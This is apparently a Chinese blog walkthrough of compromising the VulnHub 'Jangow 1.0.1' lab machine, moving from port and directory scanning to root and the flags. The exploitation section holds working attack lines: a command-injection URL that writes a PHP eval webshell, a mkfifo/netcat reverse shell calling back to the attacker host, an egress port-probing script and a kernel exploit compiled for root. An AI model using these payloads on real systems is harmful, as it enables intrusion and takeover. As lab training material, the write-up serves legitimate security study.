一、安装
靶机下载:
https://www.vulnhub.com/entry/jangow-101,754/
下载后直接VMware打开启动,不过可能会出现没有获取到IP地址,导致后面扫半天也扫不出来信息的情况,可以百度一下,有很多解决办法。
二、信息收集
1. ARP探测,看一下靶机获取的IP地址:
# arp-scan -l
2. 使用nmap探测一下端口及服务情况,将结果保存到jangow文件中:
└─# nmap -sC -sV -oA nmap/jangow 192.168.2.21
探测结果可以看到开放了21及80端口。
3. 80端口为网站,先对网站进行目录探测:
#dirb http://192.168.2.21 /home/kali/Desktop/tool/fuzz/fuzzDicts-master/directoryDicts/fileName10000.txt
看到有一个.backup的隐藏文件。
4. 通过http访问一下网站,可以看到site站点:
网站右上角有几个选项,挨个点击一下,前面两个都是定位到网页上的显示位置
但是第三个选项buscar,可以看到URL可以输入参数,尝试一下命令,结果发现命令可以执行
通过命令执行查看一下端口信息:
看到监听了3306、22、80、21,但是端口扫描的时候只扫到了80、21,说明可能对3306、22进行了过滤。
5. 访问一下前面探测到的隐藏文件:
发现文件中有用户名及密码信息。
6. 使用该用户名密码尝试一下ftp登录:
ftp可以登录,并且登录后可以切换目录,可以大概看一下内容,和网站上显示的内容一样,当切换到该用户的家目录时,发现有user.txt文件,将其get下载下来:
查看一下内容,显示结果为32位的MD5值。
# cat user.txt
d41d8cd98f00b204e9800998ecf8427e
再在ftp连接中试着上传一下文件:
ftp不允许上传文件。
7. 现在尝试将ftp的内容全部下载到本地:
# wget -r --ftp-user=jangow01 --ftp-password=abygurl69 ftp://192.168.2.21/html/
看一下下载的都有哪些内容:
# tree 192.168.2.21
这里可以看一下busque.php的文件内容。
看一下上图中的config.php中的内容:
# cat 192.168.2.21/html/site/wordpress/config.php
这里又看到第二个用户名密码,可以访问一下,MYSQL连接失败。
再尝试一下登录ftp,登录不成功。
8. 目前已经获得的信息:
(1) 监听了3306、21、80、22端口,但是只端口探测只扫到80、21,可能有防火墙
(2) 用户名:jangow01 密码:abygurl69,可登录ftp,ftp的版本信息为vsftpd3.0.3,在jangow01的家目录中找到了一个flag,但是ftp的权限不允许上传文件
(3) 用户名:desafio02 密码:abygurl69,ftp、mysql均连接不成功
(4) 网站存在一个命令执行漏洞:http://192.168.2.21/site/busque.php?buscar=ls
三、信息利用
1. 使用命令执行漏洞写入一个小马:
192.168.2.21/site/busque.php?buscar=echo '<?php @eval($_POST["cmd"]) ?>' > a.php
显示上传成功
2. 使用蚁剑进行连接
3. 在KALI上监听4444端口,然后在蚁剑上进行SHELL反弹,结果都是失败的。
4. 结果前面收集的信息,估计是有端口被过滤了,这里要探测一下从靶机到外部哪些端口是开放的。原理:在KALI上配置一条iptables规则,将到1-65535端口的流量全部重定向到4444端口,在KALI上监听4444端口,然后再从靶机上发起到1-65535的访问,如果到某个端口的流量未被拦截,那么到该端口的流量将成功转发到4444端口。
KALI上iptables配置:
# iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 4444
# nc -lvnp 4444
在蚁剑的文件管理中新建文件,并写入如下的内容:
#!/bin/bash
for i in {1..65535};
do
timeout 1 nc -vz 192.168.2.20 $i && echo "$i open" >> result.txt || echo "$i closed" >> result.txt;
done
在蚁剑的虚拟终端中执行脚本:./b.sh
然后是等待,同时可以观察监听端口的状态,以及查看result.txt文件中保存的结果,显示443端口是开放的:
注:这里如果不逐个端口探测的话,可以对常见的端口进行尝试。
端口探测完成后,注意删除刚才的iptables规则:
# iptables -t nat -nL –line
# iptables -t nat -D PREROUTING 1
5. 再次在443端口进行监听,然后在蚁剑虚拟终端上反弹SHELL:
(www-data:/var/www/html/site) $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.20 443 >/tmp/f
获取bash:
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
6. 提权
查看版本信息:
查看该内核版本存在的漏洞信息,这里有一个:
在KALI上查找可以利用的信息,并且拷贝到当前目录中
Less看一下该文件的内容,这里有适用于版本号,同时这是一个c文件,使用gcc可以进行编译:
将文件通过蚁剑上传到靶机中:
文件已经上传成功,现在使用gcc进行编译,编译后的名字为upfile,然后直接执行该文件,可以看到提权成功。
www-data@jangow01:/var/www/html/site$ gcc 45010.c -o upfile
获取bash,然后查看一下防火墙规则:
# python3 -c 'import pty;pty.spawn("/bin/bash");'
python3 -c 'import pty;pty.spawn("/bin/bash");'
root@jangow01:/var/www/html/site# iptables -L
提权后可以看到有多个iptables规则。
进入到/root目录,看到有一个proof.txt文件,得到flag:da39a3ee5e6b4b0d3255bfef95601890afd80709
四、遇到的一个问题:
在实验中遇到蚁剑连接上后,创建不了文件,向靶机写入不了文件,提示权限等奇怪的问题,多次尝试仍没有解决问题,研究了很多视频、博客后,决定重新下载靶机并进行部署,重新部署后就很顺利完成了,不知道有没有人遇到过。
标签:总结,ftp,文件,iptables,一下,端口,jangow,192.168,靶机 From: https://blog.51cto.com/u_9652359/7254822